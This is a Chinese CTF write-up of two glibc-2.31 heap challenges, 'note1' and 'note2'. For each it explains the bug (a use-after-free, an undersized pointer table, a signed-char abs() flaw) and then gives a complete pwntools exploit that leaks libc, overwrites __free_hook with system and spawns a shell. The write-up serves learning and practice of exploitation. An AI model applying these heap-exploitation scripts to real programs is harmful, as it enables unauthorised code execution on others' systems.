前言
这次比赛,一言难尽。惨痛爆0!终归是PWN👶,还需大量学习,不断进步。
note1
这道题目其实不难,但是比赛时就是一下子没想通,导致一直出不来
 image-20211103105150568
image-20211103105150568
一道glibc-2.31下的64位保护全开的堆题
 image-20211103105100021
image-20211103105100021
首先会先申请两个堆块,一个存放后续申请的堆块的相关信息,一个用来存放后续申请的堆块的大小和指针
其他的常见功能都具备,不同的地方在于,这题有两种索引方式,一种是正序,一种是逆序。只能对当前堆块进行操作
 image-20211103160037818
image-20211103160037818
漏洞点在于释放堆块时,存在UAF
 image-20211103161126692
image-20211103161126692
 image-20211103163528129
image-20211103163528129
第二个漏洞点在于申请的0x800的堆块实际上是不够存放堆块指针的,因为最多能申请0x100个,每个信息要0x10,总共要0x1000才够。所以在倒序索引的时候,堆块指针存放的地址是可以被我们申请到的,从而修改存放的堆块指针,获得任意写
而地址泄露则是申请大于0x400的堆块,释放后进入unsorted bin来泄露libc地址
 image-20211103163650482
image-20211103163650482
getshell!
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux',log_level = 'debug')
 elf = ELF("./note1")
 libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
 
 ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so")
 p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
 
 def debug():
 gdb.attach(p,"b main")
 #gdb.attach(p,"b *$rebase(0x)")
 
 def add(size,content):
 p.sendlineafter("choice: ",'1')
 p.sendline(str(size))
 p.send(content)
 
 def edit(content):
 p.sendlineafter("choice: ",'3')
 p.send(content)
 
 def show():
 p.sendlineafter("choice: ",'4')
 
 def free():
 p.sendlineafter("choice: ",'2')
 
 def flip():
 p.sendlineafter("choice: ",'5')
 
 add(0x500,'a')
 add(0x20,'b')
 flip()
 free()
 edit('AAAA')
 add(0x100,'a'*0x8)
 show()
 p.recvuntil('a'*0x8)
 libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x1ec010
 log.info("libc_base==>0x%x" %libc_base)
 free_hook = libc_base + libc.sym['__free_hook']
 system = libc_base + libc.sym['system']
 add(0x100,'b')
 add(0x300,'a'*0x2a0 + p64(0x30) + p64(free_hook - 0x8))
 
 flip()
 debug()
 edit('/bin/sh\x00' + p64(system))
 
 free()
 
 p.interactive()
 
 | 
note2
 image-20211103163800323
image-20211103163800323
同样是glibc-2.31下的一道64位堆题
 image-20220225163036673
image-20220225163036673
经典菜单题目,存在申请、删除、打印三个功能
 image-20220225163156584
image-20220225163156584
add函数,将会申请一个0x20的堆块,可以写入0x10的数据,而主要数据将会再申请一个0x200的堆块进行存放。这里的input函数本来是无法编译出来的。
 image-20220225163336928
image-20220225163336928
将call的地址修改为函数里面的地址,即可正常编译,看到伪代码。里面不存在问题,就是正常的实现一个输入内容的功能。
 image-20220225163504065
image-20220225163504065
 image-20220226131357634
image-20220226131357634
 image-20220226131414262
image-20220226131414262
这里的因为char是有符号的类型,所以可以输入0x80这个特殊的数值,从而让abs函数失效,失效后的传出的数值就是-128,可以让创建的heap地址写入的heap_inuse[0],heap_inuse[1]上
 image-20220226131554100
image-20220226131554100
在释放功能里面,只是清空了heap_inuse,其他的堆地址仍然保留
 image-20220226131658741
image-20220226131658741
那么就可以借助前面的-128导致heap_inuse前面两个是可以通过检验,继而打印出0x200上的数据,所以只要让0x200的堆块上存放着libc地址,即可造成泄露。
 image-20220226132043205
image-20220226132043205
先释放一连串堆块,填满tcache
 image-20220226154345777
image-20220226154345777
经过构造,致使两块0x210堆块合并
 image-20220226154457992
image-20220226154457992
 image-20220226154516240
image-20220226154516240
将之前释放的堆块申请回来,最后再申请位于unsorted bin里面的合并堆块,导致前一块的0x200数据堆块可以覆盖到残留的0号堆块的fd、bk指针,到这里,这题就差不多完成了。之后就是申请0x80号堆块,打印出0号堆块数据块上的残留libc地址。之后再利用此时的覆盖数据,在释放0号堆块后,修改其fd指针指向free_hook,最终分配过去修改为system
 image-20220226153827796
image-20220226153827796
getshell
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux',log_level = 'debug')
 elf = ELF("./note2")
 libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
 
 ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so")
 p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
 def debug():
 gdb.attach(p,"b main")
 
 
 def add(name, content, flag=1):
 p.sendlineafter("choice: ",'1')
 p.recvuntil("name: ")
 if flag:
 p.sendline(name)
 else:
 p.send(name)
 p.recvuntil("data: ")
 p.sendline(content)
 
 def show(idx):
 p.sendlineafter("choice: ",'3')
 p.recvuntil("index: ")
 p.sendline(str(idx))
 
 def free(idx):
 p.sendlineafter("choice: ",'2')
 p.recvuntil("index: ")
 p.sendline(str(idx))
 
 for i in range(8):
 add(p64(1), 'a')
 free(1)
 for i in range(6):
 add(p64(1), 'a')
 add(p64(2), 'a')
 add(p64(0), 'a')
 add(p64(3), 'a')
 add(p64(4), 'a')
 free(1)
 free(3)
 
 free(0)
 free(2)
 
 for i in range(7):
 add(p64(5), 'a')
 add(p64(6), 'a')
 
 for i in range(8):
 add(p64(7), 'a')
 free(7)
 add(p64(0x80), 'a')
 show(0)
 p.recvuntil('-> ')
 libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x1ebbe0
 log.info("libc_base==>0x%x" %libc_base)
 free_hook = libc_base + libc.sym['__free_hook']
 sys = libc_base + libc.sym['system']
 
 for i in range(4):
 add(p64(8), 'a')
 free(0)
 free(6)
 add(p64(6), "A"*0xB0+p64(0)+p64(0x211)+p64(free_hook))
 add(p64(0), '/bin/sh\x00')
 add(p64(1), p64(sys))
 free(0)
 
 p.interactive()
 
 | 
wp来源:https://blog.csdn.net/qq_38154820/article/details/118773473